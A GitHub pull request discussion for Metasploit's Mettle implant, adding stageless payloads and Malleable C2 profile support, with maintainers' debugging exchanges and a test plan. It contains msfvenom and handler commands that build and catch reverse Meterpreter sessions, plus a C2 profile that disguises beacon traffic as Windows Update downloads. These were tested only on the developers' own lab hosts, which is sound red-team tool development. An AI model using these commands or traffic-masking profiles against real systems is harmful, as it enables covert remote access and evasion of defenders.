Skip to content

Stageless Mettle with Malleable C2 profile support#294

Open
OJ wants to merge 15 commits into
rapid7:masterfrom
OJ:feature/mc2-all
Open

Stageless Mettle with Malleable C2 profile support#294
OJ wants to merge 15 commits into
rapid7:masterfrom
OJ:feature/mc2-all

Conversation

@OJ

@OJ OJ commented May 20, 2026

Copy link
Copy Markdown
Contributor

This PR modifies Mettle so that it supports the following:

  • The new TLV-based configuration block.
  • Stageless payloads, which for Mettle isn't super helpful yet.
  • Transport commands.
  • Malleable C2 support.

This code relies on the changes that are part of the Metasploit Framework PR. Discussion and more details can be found over there.

I'm PR'ing against main, but should probably be part of the 6.5 release.

OJ added 8 commits March 25, 2026 08:48
Replace the CLI-argument-only configuration path with a TLV config
block that the framework patches into the binary at generation time.
This brings mettle in line with the Windows, Python, Java, and PHP
Meterpreter implementations that all use Rex::Payloads::Meterpreter::Config.

- Add C2 TLV constants (700-725 series) to tlv_types.h
- Add 8KB CONFIG_BLOCK placeholder in main.c with signature-based
  patching, checked before CLI args and injection detection at startup
- Add tlv_packet_from_raw() to tlv.c for wrapping GROUP TLV children
- Parse UUID, session GUID, session expiry, debug log, and C2
  transport groups from the config packet
- Add c2_transport_config and c2_verb_config structs to c2.h
- Add c2_add_transport_uri_config() to attach parsed config to
  transports
- Parse C2 GET/POST profile sub-groups including URI, encoding flags,
  prefix/suffix, prefix/suffix skip, and UUID placement options
- Implement profile-aware HTTP transport: per-verb URL building,
  Base64/Base64URL encode/decode, prefix/suffix wrapping on egress,
  prefix/suffix stripping and decoding on ingress, UUID in query
  param/header/cookie
- Apply TLV transport config (UA, custom headers) during HTTP
  transport init alongside legacy pipe-separated URI args
- Update mettle.rb to patch CONFIG_BLOCK into binaries
- Fix json-c calloc argument order for modern GCC

The legacy DEFAULT_OPTS CLI path is preserved as a fallback.

@dledda-r7 dledda-r7 left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Did the first iteration here, i will start playing with mettle and also give you some datapoint regarding other architectures

Comment thread mettle/src/c2_http.c Outdated
Comment thread mettle/src/c2_http.c Outdated
Comment thread mettle/src/c2_http.c
Comment thread mettle/src/main.c Outdated
@dledda-r7

dledda-r7 commented Jun 8, 2026

Copy link
Copy Markdown
Contributor
Resolved

Hello @OJ, I started the testing and I don't get back any session. I tried both with a profile and no profile.

No Profile set

Datastore Options

msf payload(linux/x64/meterpreter_reverse_http) > show options

Module options (payload/linux/x64/meterpreter_reverse_http):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   EXTENSIONS                    no        Comma-separate list of extensions to load
   LHOST        192.168.3.10     yes       The local listener hostname
   LPORT        8080             yes       The local listener port
   LURI                          no        The HTTP Path
   MALLEABLEC2                   no        Path to a file containing the malleable C2 profile


View the full module info with the info, or info -d command.

msf payload(linux/x64/meterpreter_reverse_http) > 

Module advanced options (payload/linux/x64/meterpreter_reverse_http):

   Name                         Current Setting                  Required  Description
   ----                         ---------------                  --------  -----------
   AutoLoadStdapi               true                             yes       Automatically load the Stdapi extension
   AutoRunScript                                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true                             yes       Automatically capture system information on initializati
                                                                           on.
   AutoUnhookProcess            false                            yes       Automatically load the unhook extension and unhook the p
                                                                           rocess
   AutoVerifySessionTimeout     30                               no        Timeout period to wait for session validation to occur,
                                                                           in seconds
   EnableUnicodeEncoding        false                            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                                no        Path to a SSL certificate in unified PEM format, ignored
                                                                            for HTTP transports
   HttpServerName               Apache                           no        The server header that the handler will send in response
                                                                            to requests
   HttpUnknownRequestResponse   <html><body><h1>It works!</h1><  no        The returned HTML response body when the handler receive
                                /body></html>                              s a request that is not from a payload
   HttpUserAgent                Mozilla/5.0 (Windows NT 10.0; W  no        The user-agent that the payload should use for communica
                                in64; x64; rv:133.0) Gecko/2010            tion
                                0101 Firefox/133.0
   IgnoreUnknownPayloads        false                            no        Whether to drop connections from payloads using unknown
                                                                           UUIDs
   InitialAutoRunScript                                          no        An initial script to run on session creation (before Aut
                                                                           oRunScript)
   MeterpreterDebugBuild        true                             no        Use a debug version of Meterpreter
   MeterpreterDebugLogging                                       no        The Meterpreter debug logging configuration, see https:/
                                                                           /docs.metasploit.com/docs/using-metasploit/advanced/mete
                                                                           rpreter/meterpreter-debugging-meterpreter-sessions.html
   MeterpreterTryToFork         false                            no        Fork a new process if the functionality is available
   OverrideLHOST                                                 no        When OverrideRequestHost is set, use this value as the h
                                                                           ost name for secondary requests
   OverrideLPORT                                                 no        When OverrideRequestHost is set, use this value as the p
                                                                           ort number for secondary requests
   OverrideRequestHost          false                            no        Forces a specific host and port instead of using what th
                                                                           e client requests, defaults to LHOST:LPORT
   OverrideScheme                                                no        When OverrideRequestHost is set, use this value as the s
                                                                           cheme for secondary requests, e.g http or https
   PayloadProcessCommandLine                                     no        The displayed command line that will be used by the payl
                                                                           oad
   PayloadUUIDName                                               no        A human-friendly name to reference this unique payload (
                                                                           requires tracking)
   PayloadUUIDRaw                                                no        A hex string representing the raw 8-byte PUID value for
                                                                           the UUID
   PayloadUUIDSeed                                               no        A string to use when generating the payload UUID (determ
                                                                           inistic)
   PayloadUUIDTracking          false                            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                                yes       How many additional successful pingbacks
   PingbackSleep                30                               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false                            yes       Allow reverse tcp even with Proxies specified. Connect b
                                                                           ack will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                                       no        The port to bind to on the local system if different fro
                                                                           m LPORT
   ReverseListenerComm                                           no        The specific communication channel to use for this liste
                                                                           ner
   SessionCommunicationTimeout  300                              no        The number of seconds of no activity before this session
                                                                            should be killed
   SessionExpirationTimeout     604800                           no        The number of seconds before this session should be forc
                                                                           ibly shut down
   SessionRetryTotal            3600                             no        Number of seconds try reconnecting for on network failur
                                                                           e
   SessionRetryWait             10                               no        Number of seconds to wait between reconnect attempts
   VERBOSE                      false                            no        Enable detailed status messages
   WORKSPACE                                                     no        Specify the workspace for this module


View the full module info with the info, or info -d command.

msf payload(linux/x64/meterpreter_reverse_http) > 

Metasploit Output

msf payload(linux/x64/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0h3s79ka) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0h3s79ka) Redirecting stageless: URI '/bW2GuVWjiFgfeBl6dV6XgAD38VXBNhinu0uGumeuPF72Du7Gf3w7ZYW43gi3aN975ZvAlRoL09PrHjogoauoHWv4o-J2REBAC_XpIuCKegp/' with UA '' -> UUID bW2GuVWjiFgfeBl6dV6WcQ2wY1ugWW9GmMVtO676M95I2MieBlLlSQT24GXDvFlYRZWJ_3vcakDDArOo93hp8uhKKL
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0h3s79ka) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0h3s79ka) Redirecting stageless: URI '/bW2GuVWjiFgfeBl6dV6XgAD38VXBNhinu0uGumeuPF72Du7Gf3w7ZYW43gi3aN975ZvAlRoL09PrHjogoauoHWv4o-J2REBAC_XpIuCKegp/' with UA '' -> UUID bW2GuVWjiFgfeBl6dV6WcgEdhOH2GynKvgzmwVkzSXvl3qNQ2PRYuA7QWN0mYo2M-CYxZAm_wlXgImd11QTY_Pu3MIEnPmB1ymHe-ueCeVUDHQL-4ovFh4GTzZ
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0h3s79ka) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0h3s79ka) Redirecting stageless: URI '/bW2GuVWjiFgfeBl6dV6XgAD38VXBNhinu0uGumeuPF72Du7Gf3w7ZYW43gi3aN975ZvAlRoL09PrHjogoauoHWv4o-J2REBAC_XpIuCKegp/' with UA '' -> UUID bW2GuVWjiFgfeBl6dV6WcgHsDYxPon2SpaFxZe9gxsMMtEvDd4t_SMsWPlqDBPbQeMbB2MEzuYKFkmDLGESKqfa9uGTKdcaKxP1_qaUBGGETtXO-3dZUQ4dfR
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0h3s79ka) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0h3s79ka) Redirecting stageless: URI '/bW2GuVWjiFgfeBl6dV6XgAD38VXBNhinu0uGumeuPF72Du7Gf3w7ZYW43gi3aN975ZvAlRoL09PrHjogoauoHWv4o-J2REBAC_XpIuCKegp/' with UA '' -> UUID bW2GuVWjiFgfeBl6dV6WcgxQVBNl1EzBH-8d4WXkC5C2vGE5Y0ONmnG_7GTCxWUafxx9B56oz4d
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0h3s79ka) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0h3s79ka) Redirecting stageless: URI '/bW2GuVWjiFgfeBl6dV6XgAD38VXBNhinu0uGumeuPF72Du7Gf3w7ZYW43gi3aN975ZvAlRoL09PrHjogoauoHWv4o-J2REBAC_XpIuCKegp/' with UA '' -> UUID bW2GuVWjiFgfeBl6dV6WcghufpNvpQW_0E53Kheo9PUry5p0Sm4CHlPcYsU3xTiIKD-tzHC99GQqTHSheVfyFrD1kBdutM0-ArmK9CCGGoZ4GZkzZTybZEGR
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0h3s79ka) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0h3s79ka) Redirecting stageless: URI '/bW2GuVWjiFgfeBl6dV6XgAD38VXBNhinu0uGumeuPF72Du7Gf3w7ZYW43gi3aN975ZvAlRoL09PrHjogoauoHWv4o-J2REBAC_XpIuCKegp/' with UA '' -> UUID bW2GuVWjiFgfeBl6dV6WcgifmpOVKiwRd3bNrM3bWz1Jw001hvDHOMO0_colga3b85vZowzSCknjMnWdd9h5GpKMbveNQY-ew7vMNQpjzT3mHh6glE
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0h3s79ka) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0h3s79ka) Redirecting stageless: URI '/bW2GuVWjiFgfeBl6dV6XgAD38VXBNhinu0uGumeuPF72Du7Gf3w7ZYW43gi3aN975ZvAlRoL09PrHjogoauoHWv4o-J2REBAC_XpIuCKegp/' with UA '' -> UUID bW2GuVWjiFgfeBl6dV6WcgmDbidKQA-qb8Ya4e3HtS2vWkcw
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0h3s79ka) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0h3s79ka) Redirecting stageless: URI '/bW2GuVWjiFgfeBl6dV6XgAD38VXBNhinu0uGumeuPF72Du7Gf3w7ZYW43gi3aN975ZvAlRoL09PrHjogoauoHWv4o-J2REBAC_XpIuCKegp/' with UA '' -> UUID bW2GuVWjiFgfeBl6dV6Wcgf8Il5_cNcZVwAWrdWikN_fI132nGU3KYfDmusZX5y2WP7HLsdtahnIFNn79
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0h3s79ka) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0h3s79ka) Redirecting stageless: URI '/bW2GuVWjiFgfeBl6dV6XgAD38VXBNhinu0uGumeuPF72Du7Gf3w7ZYW43gi3aN975ZvAlRoL09PrHjogoauoHWv4o-J2REBAC_XpIuCKegp/' with UA '' -> UUID bW2GuVWjiFgfeBl6dV6Wcgu874ziZRDZ9WaCa4poMH0gjfpqafPtGRd_hRajQmkv3x0VZmTGFFB-HCk1I20bxsF9AEUuGf3Nb0PH3xNkIVLWKsnk69fcYQ_mLL5m
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0h3s79ka) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0h3s79ka) Redirecting stageless: URI '/bW2GuVWjiFgfeBl6dV6XgAD38VXBNhinu0uGumeuPF72Du7Gf3w7ZYW43gi3aN975ZvAlRoL09PrHjogoauoHWv4o-J2REBAC_XpIuCKegp/' with UA '' -> UUID bW2GuVWjiFgfeBl6dV6Wcgf4-dSHbHZY0QJximEHFYmGv4LfEnl7
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0h3s79ka) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0h3s79ka) Redirecting stageless: URI '/bW2GuVWjiFgfeBl6dV6XgAD38VXBNhinu0uGumeuPF72Du7Gf3w7ZYW43gi3aN975ZvAlRoL09PrHjogoauoHWv4o-J2REBAC_XpIuCKegp/' with UA '' -> UUID bW2GuVWjiFgfeBl6dV6WcwPL5bm2Lk_Ibzv3ySEBqcudr0x9FEHeuWbqasWI5viFd4VXmK_BbQ_UqFqfDT9JWZBjZn2uXvSQy-eItdY3L4MXF
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0h3s79ka) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0h3s79ka) Redirecting stageless: URI '/bW2GuVWjiFgfeBl6dV6XgAD38VXBNhinu0uGumeuPF72Du7Gf3w7ZYW43gi3aN975ZvAlRoL09PrHjogoauoHWv4o-J2REBAC_XpIuCKegp/' with UA '' -> UUID bW2GuVWjiFgfeBl6dV6WcwYa2-aD
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0h3s79ka) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0h3s79ka) Redirecting stageless: URI '/bW2GuVWjiFgfeBl6dV6XgAD38VXBNhinu0uGumeuPF72Du7Gf3w7ZYW43gi3aN975ZvAlRoL09PrHjogoauoHWv4o-J2REBAC_XpIuCKegp/' with UA '' -> UUID bW2GuVWjiFgfeBl6dV6WcwTxt4oskzGWY831LWnDMbfKu-4TPKUFjGjFd-m3s_AT786cXgq3w
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0h3s79ka) Without a database connected that payload UUID tracking will not work!
....

and continue spamming that. I remember Windows 7 was having the same result... might be some URL patching issue.

@OJ

OJ commented Jun 8, 2026

Copy link
Copy Markdown
Contributor Author

Hi @dledda-r7 ! Thank you for looking at this. Strange that you're having the issue as I was able to get sessions in each case. I'll dive into this very shortly and get back to you. Thanks again.

@OJ

OJ commented Jun 8, 2026

Copy link
Copy Markdown
Contributor Author

Just did a local test:

$ ./msfvenom -p linux/x64/meterpreter_reverse_https -f elf LHOST=127.0.0.1 LPORT=8000 MALLEABLEC2=/home/oj/code/meterpreter.profile > /tmp/mettle.bin
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
WARNING: Local file /home/oj/code/metasploit-framework/data/mettle/x86_64-linux-musl/bin/mettle is being used
WARNING: Local files may be incompatible Metasploit framework
No encoder specified, outputting raw payload
Payload size: 1134336 bytes
Final size of elf file: 1134336 bytes

Then in the other console:

$ ./msfconsole -q -x 'use multi/handler; set payload linux/x64/meterpreter_reverse_https; setg LHOST 127.0.0.1; set LPORT 8000; set MALLEABLEC2 /home/oj/code/meterpreter.profile; run'
[*] Using configured payload generic/shell_reverse_tcp
payload => linux/x64/meterpreter_reverse_https
LHOST => 127.0.0.1
LPORT => 8000
MALLEABLEC2 => /home/oj/code/meterpreter.profile
WARNING: Local file /home/oj/code/metasploit-framework/data/mettle/x86_64-linux-musl/bin/mettle is being used
WARNING: Local files may be incompatible Metasploit framework
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTPS reverse handler on https://127.0.0.1:8000
[!] https://127.0.0.1:8000 handling request from 127.0.0.1; (UUID: 7la0rwqd) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:8000 handling request from 127.0.0.1; (UUID: 7la0rwqd) Redirecting stageless: URI '/ucD/QXMyR0dFb2RYSVZSLWxmNE85MFVzQVBIZGlERHlKMlNaWlNYejlmby1VQWw2SXVYaGFjSVRTT3c5Zkx2dkxFdXppOElWQy1MdUxVUmxhWTUyN3VkZ1E5TWFpcDVlLV9fZzgyd1FXbS16ckhpMV9Ub04' with UA '' -> UUID As2GGEodXIVR-lf4O90Ukw69HQsU9FdnYODSB4umxlXRClNB9LFU-vcB8AuCzK2DYV0xldbLFFbHBA7gU2EZNUJS8gV-Y57lCQU3iFb
[!] https://127.0.0.1:8000 handling request from 127.0.0.1; (UUID: 7la0rwqd) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:8000 handling request from 127.0.0.1; (UUID: 7la0rwqd) Attaching orphaned/stageless session...
[!] https://127.0.0.1:8000 handling request from 127.0.0.1; (UUID: 7la0rwqd) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (127.0.0.1:8000 -> 127.0.0.1:44140) at 2026-06-09 08:42:51 +1000

meterpreter > sysinfo
Computer     : kvothe
OS           : nixos 26.05 (Linux 7.0.9-zen2)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

This seems to work fine with both http and https.

Can you please share a copy of the profile you're using? Thank you!

@OJ

OJ commented Jun 8, 2026

Copy link
Copy Markdown
Contributor Author

Oh I see you're not using one! My bad. I just fired it up without the C2 profile set, and I had the same issue. Looking into it now. Thanks!

@OJ

OJ commented Jun 8, 2026

Copy link
Copy Markdown
Contributor Author

Should be back on track now, I'll address your other points now. Thank you.

@dledda-r7

dledda-r7 commented Jun 9, 2026

Copy link
Copy Markdown
Contributor
Resolved

Hi @OJ, while testing the fix for the non-profile, i also will share the profile that is making issues:

http-get {

    set uri "/c/msdownload/update/others/2016/12/29136388_";

    client {

        header "Accept" "*/*";
        header "Host" "download.windowsupdate.com";

        #session metadata
        metadata {
            base64url;
            append ".cab";
            uri-append;
        }
    }


    server {
        header "Content-Type" "application/vnd.ms-cab-compressed";
        header "Server" "Microsoft-IIS/8.5";
        header "MSRegion" "N. America";
        header "Connection" "keep-alive";
        header "X-Powered-By" "ASP.NET";

        #Beacon's tasks
        output {

            print;
        }
    }
}

http-post {

    set uri "/c/msdownload/update/others/2016/12/3215234_";
    set verb "GET";

    client {

        header "Accept" "*/*";

        #session ID
        id {
            prepend "download.windowsupdate.com/c/";
            header "Host";
        }


        #Beacon's responses
        output {
            base64url;
            append ".cab";
            uri-append;
        }
    }

    server {
        header "Content-Type" "application/vnd.ms-cab-compressed";
        header "Server" "Microsoft-IIS/8.5";
        header "MSRegion" "N. America";
        header "Connection" "keep-alive";
        header "X-Powered-By" "ASP.NET";

        #empty
        output {
            print;
        }
    }

this is the same i used for the Windows C2 test

@OJ

OJ commented Jun 9, 2026

Copy link
Copy Markdown
Contributor Author

This should be good now mate.

@OJ

OJ commented Jun 9, 2026

Copy link
Copy Markdown
Contributor Author

I added to the framework side as well, so grab that too please.

@dledda-r7

Copy link
Copy Markdown
Contributor

I am stil getting the same issue, will try to investigate more

@OJ

OJ commented Jun 9, 2026

Copy link
Copy Markdown
Contributor Author

Generation/exec:

$ ./msfvenom -p linux/x64/meterpreter_reverse_http -f elf LHOST=127.0.0.1 LPORT=8000 MALLEABLEC2=/home/oj/code/diego.profile > /tmp/mettle.bin
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
WARNING: Local file /home/oj/code/metasploit-framework/data/mettle/x86_64-linux-musl/bin/mettle is being used
WARNING: Local files may be incompatible Metasploit framework
No encoder specified, outputting raw payload
Payload size: 1134384 bytes
Final size of elf file: 1134384 bytes

$ /tmp/mettle.bin

Listener:

$ ./msfconsole -q -x 'use multi/handler; set payload linux/x64/meterpreter_reverse_http; setg LHOST 127.0.0.1; set LPORT 8000; set MALLEABLEC2 /home/oj/code/diego.profile; 
set exitonsession false; run -j'
payload => linux/x64/meterpreter_reverse_http
LHOST => 127.0.0.1
LPORT => 8000
MALLEABLEC2 => /home/oj/code/diego.profile
exitonsession => false
WARNING: Local file /home/oj/code/metasploit-framework/data/mettle/x86_64-linux-musl/bin/mettle is being used
WARNING: Local files may be incompatible Metasploit framework
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTP reverse handler on http://127.0.0.1:8000
msf exploit(multi/handler) > 
[!] http://127.0.0.1:8000 handling request from 127.0.0.1; (UUID: caovesbh) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:8000 handling request from 127.0.0.1; (UUID: caovesbh) Redirecting stageless: URI '/c/msdownload/update/others/2016/12/29136388_/Sm0ybDBFOUtkckp6YVhWckdVRjd0QUJ4YmtqcmlTWktjN3NvU3FXM091XzVHdkJCcEVlakxtU2R3UjBlU25zeU0tbzNlZ1p4ZnEycmluckVDT1VocVhuZDUwdjhrVGlNODVfMW5YWktl.cab' with UA '' -> UUID Jm2l0E9KdrJzaXVrGUF7jATUd10YbxAlX1nL7T3Kdj-VpBSXA4-qetwqk-1-MZMgBl8cpvLd5bYQmuQ71WJL7r9yL9-NzK
[!] http://127.0.0.1:8000 handling request from 127.0.0.1; (UUID: caovesbh) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:8000 handling request from 127.0.0.1; (UUID: caovesbh) Attaching orphaned/stageless session...
[!] http://127.0.0.1:8000 handling request from 127.0.0.1; (UUID: caovesbh) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (127.0.0.1:8000 -> 127.0.0.1:47074) at 2026-06-09 22:36:55 +1000
sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : kvothe
OS           : nixos 26.05 (Linux 7.0.9-zen2)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 

This includes changes to mettle source, mettle gem/ruby, and MSF.

@dledda-r7

dledda-r7 commented Jun 9, 2026

Copy link
Copy Markdown
Contributor

@OJ sorry my bad, i forgot to reinstall the gem for the .rb part... gonna check it soon. thanks for helping norrowing the issue! 🎉

w00t w00t

msf payload(linux/x64/meterpreter_reverse_http) > generate -f elf -o ~/Public/metsrv.x64.elf
[*] Writing 1138480 bytes to ~/Public/metsrv.x64.elf...                                                     
msf payload(linux/x64/meterpreter_reverse_http) >                                                           
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: ndr4zc7b) Without a database connected that payload UUID tracking will not work!                                                                
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: ndr4zc7b) Redirecting stageless: URI '/gBfN1Zsw7fV8QnpAFmpmtgE4St_Rk4y0zPed0L8VxOYysuLMIFLDoZ3y29EE3iAaKnXil4g2oiFWEPj6nz1KIbI-X8D9Hribx6HZjsSev-cDc_Q4rt' with UA '' -> UUID gBfN1Zsw7fV8QnpAFmpmtAflbxYIb
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: ndr4zc7b) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: ndr4zc7b) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: ndr4zc7b) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (192.168.3.10:8080 -> 192.168.3.10:47514) at 2026-06-09 09:54:00 -0400

msf payload(linux/x64/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : kali
OS           : Debian  (Linux 6.19.14+kali-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 

gonna try with the other arches

@dledda-r7

dledda-r7 commented Jun 9, 2026

Copy link
Copy Markdown
Contributor

Test Plan

Profiles Base: https://github.com/BC-SECURITY/Malleable-C2-Profiles/tree/master/Normal

X64

reverse tcp (stageless and staged)

stageless ✅

msf payload(linux/x64/meterpreter_reverse_tcp) > 
[*] Started reverse TCP handler on 192.168.3.10:4444 
[*] Meterpreter session 4 opened (192.168.3.10:4444 -> 192.168.3.10:46820) at 2026-06-09 10:19:43 -0400

msf payload(linux/x64/meterpreter_reverse_tcp) > sessions -i -1
[*] Starting interaction with 4...

meterpreter > sysinfo
Computer     : kali
OS           : Debian  (Linux 6.19.14+kali-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: kali
meterpreter >

staged ✅

reverse http (stageless) ✅

reverse https (stageless) ✅

test at least 15 profiles

amazon.profile ✅

msf payload(linux/x64/meterpreter_reverse_http) > set MALLEABLEC2 /home/kali/Documents/profiles/amazon.profile
MALLEABLEC2 => /home/kali/Documents/profiles/amazon.profile
msf payload(linux/x64/meterpreter_reverse_http) > jobs -K
Stopping all jobs...
msf payload(linux/x64/meterpreter_reverse_http) > to_handler 
[*] Payload Handler Started as Job 6
msf payload(linux/x64/meterpreter_reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.3.10:8080

msf payload(linux/x64/meterpreter_reverse_http) > generate -f elf -o ~/Public/metsrv.x64.elf
[*] Writing 1138480 bytes to ~/Public/metsrv.x64.elf...
msf payload(linux/x64/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: aby4cj23) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: aby4cj23) Redirecting stageless: URI '/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books' with UA '' -> UUID PZtiyFi4rb9zNnU0GR9TXQA2Jt_UGiCkRO7LueG9z1LzKvmFc9h3U_QMZBVUI1YmMVOpkoeBbqv4unOMoYr_Db_ChAYHBhW9f85GiO_zjSwiaNDYZ
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: aby4cj23) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: aby4cj23) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: aby4cj23) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 7 opened (192.168.3.10:8080 -> 192.168.3.10:39800) at 2026-06-10 04:29:34 -0400

msf payload(linux/x64/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 7...

meterpreter > sysinfo
Computer     : kali
OS           : Debian  (Linux 6.19.14+kali-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: kali
meterpreter > bg
[*] Backgrounding session 7...
msf payload(linux/x64/meterpreter_reverse_http) > set MALLEABLEC2 
MALLEABLEC2 => /home/kali/Documents/profiles/amazon.profile
msf payload(linux/x64/meterpreter_reverse_http) >

bing_maps ✅

msf payload(linux/x64/meterpreter_reverse_http) > to_handler
[*] Payload Handler Started as Job 8
msf payload(linux/x64/meterpreter_reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.3.10:8080

msf payload(linux/x64/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: amruo23z) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: amruo23z) Redirecting stageless: URI '/maps/overlaybfpr' with UA '' -> UUID BpwB8B0YxmvzJvUkmQ_SQA9nuv_2sXKqNGwHrPM9YcrxyCC_h0edlCrzzosg7nMnTk5HLGF7kMOeHiYReaZ
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: amruo23z) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: amruo23z) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: amruo23z) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 8 opened (192.168.3.10:8080 -> 192.168.3.10:36706) at 2026-06-10 04:33:45 -0400

msf payload(linux/x64/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 8...

meterpreter > sysinfo
Computer     : kali
OS           : Debian  (Linux 6.19.14+kali-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: kali
meterpreter > exit
[*] Shutting down session: 8

[*] 192.168.3.10 - Meterpreter session 8 closed.  Reason: User exit
msf payload(linux/x64/meterpreter_reverse_http) > set MALLEABLEC2 
MALLEABLEC2 => /home/kali/Documents/profiles/bing_maps.profile
msf payload(linux/x64/meterpreter_reverse_http) > 

bingsearch_getonly 🔴

msf payload(linux/x64/meterpreter_reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.3.10:8080

msf payload(linux/x64/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: jo4lg08a) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: jo4lg08a) Redirecting stageless: URI '/search/' with UA '' -> UUID A2OVt94e0Xu5vr-805ebOwDwDt_DjYxB
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: jo4lg08a) Without a database connected that payload UUID tracking will not work!
